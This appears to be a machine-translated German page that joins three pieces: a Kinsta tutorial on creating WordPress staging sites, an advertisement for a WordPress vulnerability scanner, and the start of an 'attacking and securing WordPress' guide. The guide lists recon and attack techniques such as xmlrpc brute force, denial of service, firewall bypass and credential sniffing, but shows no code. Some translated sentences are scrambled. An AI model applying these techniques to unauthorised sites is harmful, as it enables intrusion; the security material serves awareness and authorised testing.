3 einfache Möglichkeiten, schnell eine WordPress-Staging-Site einzurichten

Um Probleme auf Ihrer Live-Website zu minimieren, ist es eine gute Idee, alle Änderungen vorher zu testen. Das Einrichten einer WordPress-Staging-Site ist eine großartige Möglichkeit, dies zu tun.

Mit einer Staging-Site können Sie alltägliche und potenziell bahnbrechende Aufgaben auf eine Kopie Ihrer Site übertragen. Die Live-Website bleibt online und fehlerfrei. In der Zwischenzeit können Sie an allem arbeiten, was Sie brauchen, und die Änderungen live übertragen, wenn Sie bereit sind.

Sehen Sie sich unsere Videoanleitung zum Einrichten einer WordPress-Staging-Site an.

Was ist eine WordPress-Staging-Site?

Eine Staging-Site ist eine exakte Kopie Ihrer Live-Site, die für die Öffentlichkeit nicht sichtbar ist. Es ist ähnlich wie ein Party- oder Event-Staging-Bereich – es gibt Ihnen die Möglichkeit, Ihre Website in einer stressfreien Umgebung so einzurichten, wie Sie es möchten. Von dort aus können Sie diese Elemente nehmen und sie auf die Live-Site übertragen, oft mit nur wenigen Klicks.

Auf einer Website ist der Transplantationsprozess unkompliziert, wenn Sie über die richtigen Tools verfügen. Viele Webhoster bieten Ihnen eine einfache Möglichkeit, Ihre Website bereitzustellen und die Änderungen wieder zurückzusetzen.

Möglicherweise verwenden Sie bereits eine lokale Entwicklungsumgebung, und es gibt einige Ähnlichkeiten. Für den Anfang sind beide Kopien Ihrer Live-Site. Von da an weichen sie jedoch voneinander ab. Typischerweise ist eine Staging-Site oft flexibler in Bezug auf das, was Sie ziehen und drücken können. Sie können damit auch mit interaktiven Site-Elementen arbeiten, die einen Live-Server benötigen.

Wir werden als nächstes mehr über diese Elemente (und mehr) sprechen.

Warum eine WordPress-Staging-Site einrichten?

Auch wenn Sie eine lokale Entwicklungsumgebung verwenden, empfehlen wir die Verwendung einer Staging-Site. Dafür gibt es viele Gründe. Zunächst einmal haben wir bereits erklärt, wie Sie an bestimmten Website-Elementen arbeiten können, ohne Ihre Live-Website zu beeinträchtigen.

Eines der wichtigsten und wichtigsten Probleme beim Staging ist das Übertragen bestimmter Elemente Ihrer Website, ohne andere dynamische Inhalte zu berühren.

Betrachten Sie beispielsweise Website-Kommentare .

Der Kommentarbereich einer Website
Der Kommentarbereich einer Website.

Kommentare stellen zeitbasierte dynamische Inhalte dar, die Sie nicht „einfrieren“ möchten. Wenn Sie dies tun würden, würde die Aktivität auf Ihrer Live-Site zwischen dem Zeitpunkt, an dem Sie sie bereitstellen, und dem Zeitpunkt, an dem Sie sie übertragen, verschwinden.

Darüber hinaus kann Ihre Staging-Site als Testumgebung für Ihre Serverkonfiguration fungieren. Eine hervorragende lokale Entwicklungsumgebung kann oft ein Server-Setup simulieren.

Servereinstellungen von DevKinsta.
Servereinstellungen von DevKinsta.

Es gibt jedoch keinen Ersatz für den Live-Server selbst. Eine Staging-Site kann Ihnen zeigen, wie Ihre Website reagiert, und Ihnen die Möglichkeit geben, die Dinge bei Bedarf zu ändern, bevor sie sich auf Ihre Besucher auswirkt.

Dies hängt mit einigen anderen verwandten guten Gründen für die Verwendung einer WordPress-Staging-Site zusammen:

  • Sie können neue Funktionen abseits der Öffentlichkeit testen. Diese Funktion ist für Ihre Verkehrszahlen, Absprungrate und allgemeine Analysen von entscheidender Bedeutung. Auf einer grundlegenderen Ebene können Sie den WordPress-Kern, Ihre Themen und Ihre Plugins aktualisieren und gleichzeitig auftretende Probleme beheben.
  • Bei Verwendung einer Staging-Umgebung gibt es keine Ausfallzeit für Ihre Live-Site. Auch hier ist eine hohe Betriebszeit nicht nur gut für Ihren Server, sondern auch hervorragend für Ihre Metriken.

Eine Nebenwirkung all dieser Vorteile ist, dass Sie insgesamt weniger potenzielle Ressourcen verbrauchen. Es ist auch großartig, um Ihre Entwickler bei Laune zu halten! Als nächstes werden wir mehr darüber sprechen, wie eine Staging-Site die Stimmung verbessert.

Die Bedeutung der Entwicklung mithilfe einer Staging-Site

Zunächst geben wir Ihnen einige Tipps. Wenn Sie ein Websitebesitzer sind, der ohne die Unterstützung eines Fachmanns an Ihrer Website arbeiten möchte, bitten wir Sie, dies noch einmal zu überdenken. Denken Sie zumindest darüber nach, wie Ihre Website aussieht und läuft.

Die Zusammenarbeit mit einem Entwickler wird Ihnen in vielerlei Hinsicht helfen. Einer der Hauptgründe ist, dass Sie ihre bewährten Methoden verwenden können, um eine Website mit dem geringsten Aufwand von Ihrem Gehirn ins Internet zu bringen.

Ein Entwickler hat oft einige kritische Punkte in seinem Prozess, von denen Sie einige möglicherweise nicht berücksichtigt haben:

  • Es gibt oft eine schwere Planungsphase , anstatt es einfach auf der Live-Site zu beflügeln.
  • Der Software-Stack ist von wesentlicher Bedeutung, da er die Funktionalität bestimmt, auf die Sie zugreifen können. Es hängt von der Leistung und Skalierbarkeit Ihrer Website ab.
  • Es wird eine Überarbeitungs- und Fehlerbehebungsphase geben, die mühsam sein kann, aber entscheidend ist, um die Qualität Ihrer Website hoch zu halten.

Eine Staging-Site ist ein wesentlicher Bestandteil jedes Schritts des Prozesses. Der erste Aspekt besteht darin, Ihre Live-Site ins Staging zu bringen, um einige „Stresstests“ durchzuführen. Wenn Sie dies wissen, haben Sie Spielraum für die bevorstehende Herausforderung.

Darüber hinaus kann der Entwickler Aspekte zu anderen Softwareoptionen migrieren. Beispielsweise können Sie jQuery durch Vanilla JavaScript ersetzen oder den Wechsel zu React testen . Staging gibt dem Entwickler die Möglichkeit, zu testen, was in einer nahezu Live-Umgebung möglich ist.

Auch das Beheben von Fehlern und das Polieren des Layouts sind großartige Anwendungen für eine Staging-Site. Der Entwickler kann Versionen der Website an Sie weiterleiten und eklatante Probleme beheben, während Sie Aspekte kommentieren können, die möglicherweise unbemerkt geblieben sind.

Eine lokale Entwicklungsumgebung arbeitet, um in die Grundlagen einer Site einzudringen, ohne Serverressourcen zu verwenden. Eine Staging-Site ist ein entscheidender Punkt in der Kette zwischen lokalen und Live-Sites. Es gibt Ihnen auch Einblicke, die Sie woanders nicht bekommen können.

Wann eine Staging-Site verwendet werden sollte

Angesichts dessen, was wir bisher gesagt haben, ist es keine Überraschung, dass Sie bei der Entwicklung Ihrer Website die meiste Zeit auf Staging zurückgreifen möchten. Es sollte zur Gewohnheit werden, Ihre Live-Site ins Staging zu bringen, damit Sie überhaupt keine Änderungen an Ihrer Live-Site vornehmen.

Trotzdem gibt es einige spezifische Situationen, in denen Sie eine WordPress-Staging-Umgebung verwenden möchten :

  • Einfache Updates, wie Themes , Plugins und der WordPress-Kern , sollten zuerst beim Staging versucht werden, wenn sie irgendwelche Site-Breaking-Probleme aufweisen.
  • Die Installation von Plugins und Designs sollte beim Staging erfolgen, damit Sie die Funktionalität und Features testen können, ohne Live-Benutzer zu beeinträchtigen. Darüber hinaus gibt es Ihnen die Zeit und den Raum, an den Details herumzuspielen, bevor Sie die Änderungen veröffentlichen.
  • Wenn Sie erhebliche codebasierte Änderungen vorgenommen haben, sollten diese immer zuerst auf die Staging-Site angewendet werden. Wie wir bereits festgestellt haben, fungiert eine Staging-Site als „Mittelsmann“ zwischen Ihrer Live-Site und der lokalen Umgebung und erspart Ihnen und Ihren aktiven Besuchern Verwirrung und Stress.

Es ist erwähnenswert, dass Sie oft damit davonkommen können, Themes, Plugins und WordPress selbst direkt auf Ihrer Live-Site zu aktualisieren. Wir empfehlen es jedoch nicht. Es ist auch doppelt wichtig, Ihre Website zu inszenieren, wenn Sie beabsichtigen, bekannte „schwammige“ Plugins zu aktualisieren oder eine größere WordPress-Version zu installieren.

Die Pflege und Vorsicht bei der Stabilität Ihrer Website ist von größter Bedeutung. Im Großen und Ganzen sollten Sie Ihre Website immer dann inszenieren, wenn Ihre Arbeit Benutzer beeinflussen oder verwirren könnte.

Was Sie bei der Verwendung einer Staging-Site beachten sollten

Die Entscheidung, eine WordPress-Staging-Site zu verwenden, ist in den meisten Fällen keine impulsive Entscheidung, unabhängig davon, ob eine Staging-Option direkt über Ihren Host verfügbar ist.

Es wäre hilfreich, wenn Sie sich viele Fragen dazu stellen würden, wie Sie Ihre Staging-Site nutzen möchten. Hier sind nur einige:

  • Können Sie alle Funktionen Ihrer Live-Site auf der Staging-Site nutzen?
  • Sind Sie in der Lage, bestimmte Elemente live zu pushen, während andere Aspekte intakt bleiben (z. B. Website-Kommentare)?
  • Können Sie diese spezifischen Elemente in Ihre lokale Umgebung ziehen und von Ihrem Server weg arbeiten?

Dies sind allgemeine Bedenken, die sich jeder Websitebesitzer stellen sollte. Es kann sein, dass Sie spezifische Fragen zu Ihrem Setup haben. Natürlich sollten Sie die Suche nach Antworten darauf zu einer Priorität machen. Der WordPress-Blogger Chris Lema hat einen großartigen Denkanstoß und ein Tutorial , wie man den richtigen Ansatz für sich findet.

Möglicherweise haben Sie auch nischenspezifische Fragen zur Verwendung einer Staging-Site. Zum Beispiel:

  • E-Commerce-Sites: Können Sie den gesamten Checkout-Prozess auf Ihrer Staging-Site verwenden? Dieser Faktor wird entscheidend dafür sein, wie sich Benutzer durch Ihre Website bewegen.
  • Plugins und Themes: Wie funktionieren Plugins wie Jetpack auf Staging-Sites? Abgesehen davon ist insbesondere Jetpack in lokalen Umgebungen funktionsbeschränkt, da es Serverzugriff benötigt.
  • Video und Streaming: Erhalten Sie volle Funktionalität auf Ihrer Staging-Site? Wie können Sie feststellen, ob das Video, das Sie auf Ihrer Staging-Website sehen, Ihre Live-Website darstellt?

Wie bereits erwähnt, sind diese Fragen spezifisch für Ihre Umgebung, Ihren Standort und Ihre Anforderungen. Ein weiterer guter Grund, zumindest in der Planungsphase mit einem Entwickler zusammenzuarbeiten. Sie können ihre Erfahrung in Ihr Projekt einbringen und einige dieser Fragen stellen, bevor sie wissen, dass Sie die Antworten brauchen.

So richten Sie eine WordPress-Staging-Site ein (3 Möglichkeiten)

In den folgenden Abschnitten werden wir uns mit der Einrichtung einer WordPress-Staging-Site unter Verwendung einiger verschiedener Methoden befassen. Wir haben vom Einfachsten zum Schwersten geordnet, aber die Definition ist locker.

Sie können sich mehr zu einer bestimmten Lösung hingezogen fühlen als zu den anderen. Fühlen Sie sich frei, herumzuspringen und einen Blick auf die Methode zu werfen, die Ihnen gefällt.

1. Erstellen Sie eine Staging-Site mit Ihrem Webhost

Unsere erste Methode wird nicht von allen Webhostern angeboten. Dedizierte Staging-Funktionen sind oft die Domäne erstklassiger WordPress-Hosts, da sie den Wert einer Staging-Site kennen. Beispielsweise bietet Kinsta mehrere Premium-Staging-Umgebungen an , die jedem Konto hinzugefügt werden können. Tatsächlich hat Kinsta 47.375 Staging-Sites im Einsatz und es werden immer mehr! Wir werden dies später ausführlicher vorstellen.

Wenn ein Host integriertes Staging anbietet, sind häufig zwei Elemente vorhanden:

  • Wie wir bereits festgestellt haben, ist automatisiertes Staging beliebt, da dies der schnellste Weg ist, Ihre Live-Site bereitzustellen.
  • Eine WordPress-Staging-Site befindet sich auf einer Subdomain Ihrer primären Domain. Wir werden dies in diesem Artikel auf verschiedene Weise besprechen.

Wenn du ein Kinsta-Kunde bist, haben wir das WordPress-Staging in unserer Wissensdatenbank ausführlich besprochen . Beziehen Sie sich auf dieses Stück, um die Details dazu durchzugehen. Trotzdem lohnt es sich, den gesamten Prozess zusammenfassend zu skizzieren:

  1. Wähle deine Seite aus der Liste in MyKinsta.
  2. Ändere die Umgebung von „Live“ auf „Staging“.
  3. Klicken Sie auf die Schaltfläche, um Ihre WordPress-Staging-Site zu implementieren.
  4. Warten Sie bis zu 15 Minuten, bis die Staging-Site gefüllt ist.

Ihre Staging-Umgebung hat eine eigene Subdomäne und übernimmt auch Ihre SSL-Einstellungen (Secure Sockets Layers) .

Du kannst sogar ein Site-Backup zum Staging wiederherstellen und deine Staging-Site vom MyKinsta-Dashboard aus live übertragen :

Die Push-to-Live-Option innerhalb von Kinsta.
Die Push-to-Live-Option innerhalb von Kinsta.

Wir denken , dass unsere Staging – Funktionalität unübertroffen ist . Trotzdem gibt es mit freundlicher Genehmigung von DevKinsta ein Sahnehäubchen auf den dreistöckigen Kuchen, das wir als nächstes besprechen werden.

Wie DevKinsta Ihnen helfen kann, eine Staging-Site zu erstellen

Das MyKinsta-Dashboard verfügt über fast alle Funktionen und Funktionen, die Sie zum Erstellen und Verwalten Ihrer Live-Site benötigen. Wenn du lieber in einer lokalen Umgebung arbeitest, kannst du DevKinsta verwenden.

DevKinsta ist unsere lokale Entwicklungsumgebung für alle Webentwickler und Websitebesitzer, obwohl sie spezielle Funktionen für Kinsta-Kunden bietet :

Die DevKinsta-App.
Die DevKinsta-App.

Es ist eine voll funktionsfähige (und kostenlose) App, mit der Sie mit einem Minimum an Klicks neue WordPress-Sites erstellen können. Darüber hinaus hat es viel in der Box, um Ihnen zu helfen, die Dinge für einen echten Server vorzubereiten. Wir haben dies an anderer Stelle im Kinsta-Blog behandelt, aber es gibt eine Einstellung, auf die wir uns etwas mehr konzentrieren möchten – die Push-to-Staging -Option:

DevKinstas „Push to staging“-Button.
DevKinstas „Push to staging“-Button.

Mit dieser Funktion können Sie eine Zielsite auswählen und Ihre lokale Site in Ihre Staging-Umgebung übertragen. Es bedeutet auch, dass du die Möglichkeit hast, während der gesamten Entwicklungsreise vollständig im Kinsta-Ökosystem zu bleiben.

Der erste Schritt in diesem Prozess besteht darin, deine Website von Kinsta in DevKinsta zu importieren:

Die Option Import from Kinsta innerhalb von DevKinsta.
Die Option Import from Kinsta innerhalb von DevKinsta.

Sobald Ihre Website bei DevKinsta gehostet wird, können Sie sich Zeit nehmen, um die erforderlichen Änderungen vorzunehmen. Von dort aus klicken Sie auf die Schaltfläche Push to Staging und senden es an Ihren Hosting-Server zurück. Wenn Sie bereit sind, Ihre Website der Welt zu präsentieren, erledigt die Push-to-Live- Schaltfläche im MyKinsta-Dashboard die Arbeit.

2. Installieren Sie ein Plugin, das Ihnen beim Erstellen einer WordPress-Staging-Site hilft

Wir haben erwähnt, dass einige Hosts Sie keine WordPress-Staging-Site erstellen lassen würden. Natürlich würden wir empfehlen, den Anbieter zu wechseln, wenn dies auf Sie zutrifft, aber es gibt immer noch Möglichkeiten, eine Staging-Umgebung zu erstellen, wenn dies nicht möglich ist.

Da das Plugin-Ökosystem von WordPress robust ist, ist es keine Überraschung, dass es auch Staging-Plugins gibt. Für die Unwissenden: Ein Staging-Plugin bietet Ihnen nahezu gleiche Funktionalität wie ein Host, wird jedoch von Ihrem WordPress-Dashboard aus verwaltet. Es ist jedoch erwähnenswert, dass es einige Unterschiede zwischen Staging-Plugins und anderen Site-Duplizierungs-Plugins wie Duplicator gibt .

Für den Anfang ist Duplicator nicht für die Inszenierung gedacht. Es ist ein leistungsstarkes Plugin zum Klonen einer Website, aber es hat nicht die Pseudo- Versionskontrolle, die eine Staging-Umgebung hat.

Wir haben gesehen, dass Site-Duplizierungs-Plugins als ideale Möglichkeit zum Erstellen einer Staging-Site empfohlen werden. Wir empfehlen es nicht! Es ist fraglich, ob die Verwendung eines Plugins wie Duplicator einem dedizierten lokalen Entwicklungstool wie DevKinsta ebenbürtig ist.

Stattdessen gibt es kräftigere Lösungen wie WP Stagecoach und WP Staging :

Die WP Staging-Website.
Die WP Staging-Website.

Die Vorteile der Verwendung einer Lösung wie WP Staging sind zahlreich:

  • Sie können Ihre Website schnell klonen.
  • Alles geschieht in einem vertraut aussehenden Dashboard.
  • Sie können bestimmte Datenbanktabellen und -ordner ausschließen.
  • Sie können auswählen, welche Dateien und Tabellen live gepusht werden.

Der gesamte Prozess der Verwendung eines Plugins wird sich vertraut anfühlen. In Bezug auf WP Staging installieren Sie das Plugin wie gewohnt auf Ihrer Website. Beachten Sie, dass es eine kostenlose Version mit eingeschränkter Funktionalität und eine Premium-Version gibt , die den vollen Funktionsumfang bietet.

Sobald sich das Plugin auf Ihrer Website befindet, gehen Sie zur Seite WP Staging > Websites / Startseite und klicken Sie auf die Schaltfläche Neue Staging-Site erstellen :

Erstellen einer neuen Staging-Site mit WP Staging.
Erstellen einer neuen Staging-Site mit WP Staging.

Wenn Sie darauf klicken, gelangen Sie zum Abschnitt Scannen . Es gibt hier drei Teile, die Sie berücksichtigen sollten, abgesehen von der Eingabe eines Namens für Ihre Staging-Site:

  • Datenbanktabellen: Dies ist eine Liste aller Ihrer Datenbanktabellen, und Sie können auswählen, welche Sie bereitstellen möchten.
  • Dateien: Sie können hier auswählen, welche Ordner kopiert werden sollen, zusammen mit allen zusätzlichen Verzeichnissen, die Sie kopieren möchten.
  • Erweiterte Einstellungen / Pro: Hier gibt es viele Einstellungen. Beispielsweise können Sie Ihre Staging-Site in eine separate Datenbank oder in ein benutzerdefiniertes Verzeichnis kopieren, und Sie können die Uploads Ihrer Produktions-Site auch „symlinken“.

Sobald Sie zum Fortfahren klicken, beginnen Sie mit dem Klonen und Staging:

Das Klonverfahren des WP Staging-Plugins.
Das Klonverfahren des WP Staging-Plugins.

Wenn das Plug-in fertig ist, sehen Sie die Details, die Sie für die Arbeit an Ihrer Staging-Site benötigen:

Der Bildschirm „WP-Staging-Abschluss“.
Der Bildschirm „WP-Staging-Abschluss“.

Wenn Sie auf Ihre Staging-Site zugreifen, ist die Symbolleiste leuchtend orange – eine Abschreckung, falls Sie das Undenkbare tun:

Eine WP-Staging-Site.
Eine WP-Staging-Site.

Von hier aus kannst du deine Änderungen zurück in die Produktion übertragen und deine Staging-Site über das WordPress-Dashboard verwalten.

3. Erstellen Sie eine manuelle WordPress-Staging-Site

Unsere letzte Methode zum Einrichten einer WordPress-Staging-Site ist die schwierigste und nicht so funktional. Es fällt uns schwer, es in allen außer den extremsten und Nischenanwendungsfällen zu empfehlen.

Das Erstellen einer manuellen WordPress-Staging-Site ist so, wie es sich anhört: Sie erstellen alle Komponenten, die Sie benötigen, und stellen Ihre Site größtenteils ohne Automatisierung bereit. Dieser Ansatz hat einige schwerwiegende Nachteile:

  • Ein manueller Ansatz bedeutet, dass die Wahrscheinlichkeit größer ist, dass sich Fehler in Ihren Arbeitsablauf einschleichen.
  • Es gibt keine Möglichkeit, Standortdaten zwischen Installationen zu synchronisieren.
  • Sie können ausgewählte Daten, Tabellen oder Dateien nicht zwischen Installationen übertragen.

Mit anderen Worten, Sie erstellen eine manuelle Version eines Plugins wie Duplicator. Trotzdem könnten Sie einige Vorteile sehen, wenn Sie den Ansatz zu Ihrem Vorteil nutzen.

Sie könnten beispielsweise eine Staging-Site einrichten, um eine begrenzte Auswahl an Features und Funktionen zu testen (z. B. ein WordPress-Core-Update). Sobald Sie zufrieden sind, dass es auf Ihrer Staging-Site funktioniert, können Sie die Änderungen auf Ihre Live-Site anwenden.

Natürlich duplizieren Sie die Arbeit, die Sie erledigen müssen, und dies ist ein weiterer Nachteil des Prozesses.

Trotzdem bestimmen Ihre Situation und Ihre Bedürfnisse, ob eine manuelle Staging-Site für Sie geeignet ist. Wenn ja, benötigen Sie Folgendes:

  • Ein Hosting-Anbieter, mit dem Sie Subdomains erstellen können .
  • Administratorzugriff auf Ihr Hosting-Backend.
  • Arbeitskenntnisse der SQL-Sprache (nicht so wichtig wie die anderen).

Sobald Sie diese eingerichtet haben, stellen Sie sicher, dass Sie eine vollständige Sicherung Ihrer Website durchgeführt haben. Das Erstellen einer manuellen WordPress-Staging-Site ist voller Gefahren, und Sie werden für Ihr Backup dankbar sein, wenn das Schlimmste passiert.

Es gibt sieben allgemeine Schritte, die Sie zum Einrichten einer manuellen Staging-Site benötigen:

  1. Erstellen Sie eine neue Subdomain im Control Panel Ihres Webhosts.
  2. Richten Sie ein dediziertes Secure File Transfer Protocol (SFTP)-Konto für Ihre Staging-Site ein.
  3. Laden Sie Ihre WordPress-Dateien auf den Staging-Server hoch. Der beste Weg ist, eine neue Version von WordPress zu installieren und dann deine Themes , Plugins und Upload- Ordner hochzuladen .
  4. Exportieren Sie Ihre Datenbank von Ihrer Live-Site.
  5. Erstellen Sie in Ihrem Hosting-Kontrollfeld eine neue Datenbank für Ihre Staging-Site.
  6. Importieren Sie die Datenbank mit einem SQL-Manager wie Adminer auf Ihren Staging-Server.
  7. Aktualisieren Sie wp-config.php , um Ihre Staging-Site widerzuspiegeln.

Wie Sie einige dieser Aspekte erreichen, ist Ihnen und Ihrem Gastgeber überlassen. Trotz der damit verbundenen Komplexität ist jede Methode selbst für Anfänger geeignet. Allerdings ist die Zeit, die für die Implementierung benötigt wird, den Aufwand möglicherweise nicht wert.

Stellen Sie Ihre manuelle Staging-Site bereit

Wenn Sie eine manuelle WordPress-Staging-Site einrichten, müssen Sie diese natürlich auch selbst bereitstellen. Es gibt oft einen einfachen automatisierten Ansatz mit verwaltetem Hosting, der in diesem Fall nicht verfügbar ist.

Wenn Sie ein Backend-Entwickler mit hoher Erfahrung in PHP und SQL sind, können Sie möglicherweise die automatische Bereitstellung implementieren, obwohl wir darauf wetten, dass dies hier nicht Ihre Situation ist. Daher empfehlen wir, die von Ihnen vorgenommenen Änderungen auf Ihrer Staging-Site zu replizieren, anstatt zu versuchen, sie „bereitzustellen“.




WordPress-Sicherheitsscan

WordPress-Sicherheitsscan

Online WordPress Security Scanner zum Testen von Schwachstellen einer WordPress-Installation. Zu den Prüfungen gehören Anwendungssicherheit, WordPress-Plugins, Hosting-Umgebung und Webserver.

Auf dieser WordPress-Sicherheitstestseite gibt es zwei Optionen. Die erste ist eine KOSTENLOSE passive Prüfung, die eine Handvoll Seiten von der Website herunterlädt und eine Analyse des rohen HTML-Codes durchführt. Die zweite Option ist ein gründlicher aktiver Scan, der versucht, Plugins, Themes und Benutzer mit benutzerdefinierten WordPress-Audit-Skripten aufzulisten, die das Nmap NSE-Framework verwenden.

Brauchen Sie einen Experten? Wir identifizieren und validieren Möglichkeiten zur Verbesserung Ihrer Sicherheit WordPress-Analyse und Sicherheitsscan

Führen Sie einen kostenlosen WordPress-Sicherheitsscan mit einem Low-Impact-Test durch .

Überprüfen Sie jede WordPress-basierte Website und erhalten Sie einen umfassenden Überblick über die Sicherheitslage der Website. Sobald Sie sehen, wie einfach es ist, eine Mitgliedschaft zu erwerben und WordPress + Server- Schwachstellen mit Nmap WordPress NSE-Skripten, Nikto, OpenVAS und mehr zu testen.

Artikel, die im KOSTENLOSEN Scan überprüft wurden
Versuchen Sie, die Version von WordPress Core zu erkennen Finden Sie Plugins in der HTML-Antwort Identifizieren Sie das verwendete Thema Versuchen Sie, die ersten 2 WP-Benutzer aufzuzählen Listen Sie Seitenressourcen auf, einschließlich js und iframes Testen Sie, ob die Verzeichnisindizierung an Schlüsselpositionen aktiviert ist Überprüfen Sie die Reputation von Google Safe Browse Geben Sie die zu testende(n) WordPress-Site(s) ein *

WordPress-Aufzählungstyp

Gültige(s) Ziel(e)
www.example.com https://example.com/ 192.16.1.1

Login für WordPress Enumeration & Vulnerability Scanners
Aggressive Aufzählung von Plugins, Themen, Versionen und interessanten URLs.

VORTEILE DER MITGLIEDSCHAFT

  • Erkennen Sie WP-Plugin-Versionen, Themen und Benutzer mit Nmap NSE-Skripten
  • Identifizieren Sie die Angriffsfläche durch Plugin- und Themenaufzählung
  • Passiver Analysebericht für bis zu 1000 Websites mit einem Klick
  • Testen Sie WordPress mit OpenVAS und Nikto Scanners
  • Zugriff auf 27 Schwachstellen-Scanner und OSINT- Tools
  • Vertrauenswürdige Open-Source-Tools

Über die WordPress-Sicherheitsscans

Der grundlegende Sicherheitscheck überprüft eine WordPress-Installation auf häufige sicherheitsrelevante Fehlkonfigurationen. Beim Testen mit der Basisprüfungsoption werden normale Webanfragen verwendet. Das System lädt eine Handvoll Seiten von der Zielseite herunter und führt dann eine Analyse der resultierenden HTML-Quelle durch.

Die aggressivere Aufzählungsoption versucht, alle Plugins/Designs zu finden, die in der WordPress-Installation verwendet werden, und versucht, Benutzer der Website aufzuzählen. Diese Tests generieren HTTP 404-Fehler in den Webserverprotokollen der Zielseite. Seien Sie gewarnt Wenn Sie alle Plugins testen, werden mehr als 18000 Protokolleinträge generiert und möglicherweise Intrusion Prevention-Maßnahmen ausgelöst.

Indem Sie alle Plugins, Themen und Benutzer der Website identifizieren, beginnen Sie, die Angriffsfläche zu verstehen. Mit diesen Informationen können Sie gezielt weitere Tests mit den entdeckten Ressourcen durchführen.

2554
veröffentlichte CVE’s (Schwachstellen) für
WordPress und seine Komponenten

Vergleich der Optionen

Kostenloser WordPress-Sicherheitscheck

  • Testen Sie bis zu 20 Websites gleichzeitig mit dem passiven WordPress-Analysetool
  • WordPress-Versionsprüfung
  • Website-Reputation von Google
  • Standard-Administratorkonto aktiviert
  • Verzeichnisindizierung auf Plugins
  • Websites, die von der Hauptseite extern verlinkt sind (Reputationsprüfungen)
  • Listen Sie WordPress-Plugins auf, die durch grundlegende HTML-Analyse erkannt wurden (versuchen Sie die aktive Aufzählungsoption für eine aggressivere Erkennung von Plugins).
  • Javascript verlinkt
  • iframes vorhanden
  • Hosting-Reputations- und Geolokalisierungsinformationen

Zusätzliche Vorteile (mit Mitgliedschaft)

  • Testen Sie bis zu 1000 Websites gleichzeitig mit dem passiven WordPress-Analysetool
  • Verwenden Sie Nmap NSE-Skripte für die WordPress-Prüfung
  • Plugins identifizieren in /wp-content/plugins/aus einer Datenbank von über 18000
  • Identifizieren Sie Themen in /wp-content/themes/aus einer Datenbank von über 2600
  • Fingerabdruck der Version der entdeckten Plugins und Designs, um bekannte Schwachstellen zu identifizieren
  • Zählen Sie bis zu 50 Benutzernamen auf
  • Benutzerdefinierter OpenVAS-WordPress-Scan zum Testen von WordPress- und Server-Schwachstellen.

  • Mit der Mitgliedschaft haben Sie vollen Zugriff auf alle Sicherheitstest-Tools, einschließlich Port-Scanner, Webserver-Tests und System-Schwachstellen-Scanner.

7 Tage Geld-zurück-Garantie

WordPress ist das weltweit führende Content-Management-System . Das macht sie zu einem beliebten Ziel für Angreifer.

Die Analyse kompromittierter WordPress-Installationen zeigt, dass die Ausnutzung am häufigsten aufgrund einfacher Konfigurationsfehler oder durch Plugins und Themes erfolgt, auf die keine Sicherheitsfixes angewendet wurden.

Die von unserem WordPress-Sicherheitsscan durchgeführten Prüfungen weisen auf offensichtliche Sicherheitsmängel in der WordPress-Installation hin. Außerdem werden empfohlene sicherheitsbezogene Konfigurationsverbesserungen bereitgestellt, um die Sicherheit der Website vor zukünftigen Angriffen zu erhöhen.




Angreifen und Sichern von WordPress

Angreifen und Sichern von WordPress

Lernen Sie die Tipps und Techniken kennen, die verwendet werden anzugreifen und einzubrechen , um WordPress- basierte Websites . Wenn Sie sich mit diesen Hackertechniken auskennen, sind Sie besser darauf vorbereitet, Ihre Websites zu schützen .

Auch Penetrationstester oder Red Teams , die WordPress-Targets ausnutzen möchten, finden in diesem Leitfaden hilfreiche Hinweise.

Aufzählung (Aufklärung)

1. Aufzählung der WordPress Core-Version
2. Plugins aufzählen
3. Themen aufzählen
4. Benutzer aufzählen
5. Verzeichnisindizierung
6. Erkennung von Serverschwachstellen
7. Umgehen Sie die CloudFlare- oder Sucuri-Firewall
8. WPScan
9. Nmap NSE-Skripte
10. CMSMap

Ausbeutung (Angriffe)

11. Brute-Force-Anmeldeformular
12. Brute-Force-Anmeldung über xmlrpc.php
13. Dienstverweigerung (DOS) über xmlrpc.php
14. Exploit-Plugins
15. Verwenden Sie Themen
16. Nutzen Sie den WordPress-Kern
17. Schnüffeln und Erfassen von Anmeldeinformationen
18. Anfällige Serverkomponenten
19. Serververwaltungstools
20. Inhaltserkennung

** Artikel zuletzt aktualisiert im Oktober 2019

Einführung in die WordPress-Sicherheit

WordPress ist die Anwendung hinter mehr als 30 % aller Websites . Seine Benutzerfreundlichkeit und Open-Source-Basis machen es zu einer so beliebten Lösung. Die Zahl der Installationen wächst weiter; Mittlerweile gibt es schätzungsweise 75 Millionen WordPress-Sites . Diese Popularität macht es zu einem Ziel für Bösewichte, die darauf abzielen, einen kompromittierten Webserver für böswillige Zwecke zu verwenden.

Durch die Bereitstellung von Details zu Angriffstechniken wollen wir das Bewusstsein für die Notwendigkeit einer guten Wartung und Sicherheitsüberwachung von WordPress schärfen.

Es gibt sehr gute Anleitungen zum Sichern einer WordPress-Installation . Dieser Artikel beabsichtigt nicht, diese zu wiederholen. Um mit dem Sichern einer WordPress-Installation zu beginnen, versuchen Sie es mit der hervorragenden Anleitung auf wordpress.org oder dieser umfassenden Anleitung auf der OWASP-Website .

Denken Sie daran, dass bei einem verwalteten WordPress-Hosting-Service einige dieser Angriffe (und Gegenmaßnahmen) in der Verantwortung des Hosting-Anbieters liegen. Wenn Sie selbst hosten, liegen Sicherheit und Wartung in Ihrer Verantwortung. Bereit zum Start? Schnappen wir uns unseren Hoodie und fangen an zu hacken. Die Verwendung dieser Angriffstechniken und -tools gegen

Systeme, die Sie nicht besitzen oder

zu deren Test Sie nicht berechtigt sind , ist

in den meisten Gerichtsbarkeiten illegal . Dieser Artikel dient Bildungszwecken und soll das Bewusstsein für die Notwendigkeit von Sicherheit schärfen.

WordPress aufzählen

Versetzen Sie sich in die Denkweise der Angreifer . Als Erstes möchten wir so viele technische Informationen über die Site-Konfiguration wie möglich entdecken. Dies wird uns helfen, wenn wir in die eigentliche Angriffs- oder Ausbeutungsphase übergehen.

durchgeführt werden, Die Aufzählung oder Aufklärung kann heimlich indem regelmäßige Webanfragen verwendet werden, um technische Informationen über die Site zu sammeln. durchgeführt werden, Oder es kann aggressiver indem Webpfade brutal erzwungen werden, um das Vorhandensein von Plugins und Themen zu erkennen. Zunächst möchten wir uns ein Bild davon machen, wie gut die Seite gepflegt ist. Festzustellen, ob auf der Website die neueste WordPress-Kernversion ausgeführt wird, ist ein guter Anfang.

Aufzählung der WordPress Core-Version

Drei einfache Methoden können verwendet werden, um die Kernversion von WordPress zu ermitteln.

Meta-Generator

Überprüfen Sie die HTML-Quelle der Seite auf a meta generator-Tag im HEAD-Abschnitt der HTML-Quelle.

